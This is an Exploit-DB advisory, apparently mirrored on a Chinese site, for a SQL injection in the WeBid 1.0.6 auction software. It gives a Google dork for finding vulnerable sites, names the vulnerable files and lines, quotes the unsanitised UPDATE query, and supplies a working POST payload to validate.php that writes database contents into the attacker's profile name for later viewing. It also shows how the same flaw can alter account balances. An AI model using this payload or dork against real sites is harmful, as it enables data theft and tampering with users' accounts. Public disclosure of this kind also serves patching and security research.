WeBid 1.0.6 – SQL Injection - 体验盒子

作者： Life Wasted

日期： 2013-01-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/23997/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Exploit Title: WeBid 1.0.6 SQL Injection Vulnerability

# Google Dork: "Powered by WeBid"

# Date: 1/9/13

# Exploit Author: Life Wasted

# Vendor Homepage: http://www.webidsupport.com/

# Version: Tested on 1.0.6, but could affect other version

# Tested On: Linux, Windows

Vulnerable Code:

Line 53 of the validate.php file

Lines 198 through 202 and 234 in the includes/functions_fees.php file

Proof of Concept:

validate.php?toocheckout=asdf calls the toocheckout_validate() function

toocheckout_validate() takes unsanitized post input from 2 different parameters (total and cart_order_id)

toocheckout_validate() calls callback_process() if the post parameter credit_card_processed is equal to 'Y'

The unsanitized parameters are using in an UPDATE query:

$query = "UPDATE " . $DBPrefix . "users SET balance = balance + " . $payment_amount . $addquery . " WHERE id = " . $custom_id;

This allows an attacker to retrieve data using a time-based blind injection technique or by updating a pre-existing value to the output of an embedded query.

For example, the attacker could send the following post data to extract the name of the current database.

http://site.com/validate.php?toocheckout=asdf

POST DATA: cart_order_id=*Attackers UserID*WEBID1&credit_card_processed=Y&total=1, name=(SELECT database())

The resulting query would be:

UPDATE users SET balance = balance + 1, name=(SELECT database()) WHERE id = *Attackers User ID*

Then the attacker could sign in to their account and view the requested data by going to the edit_data.php page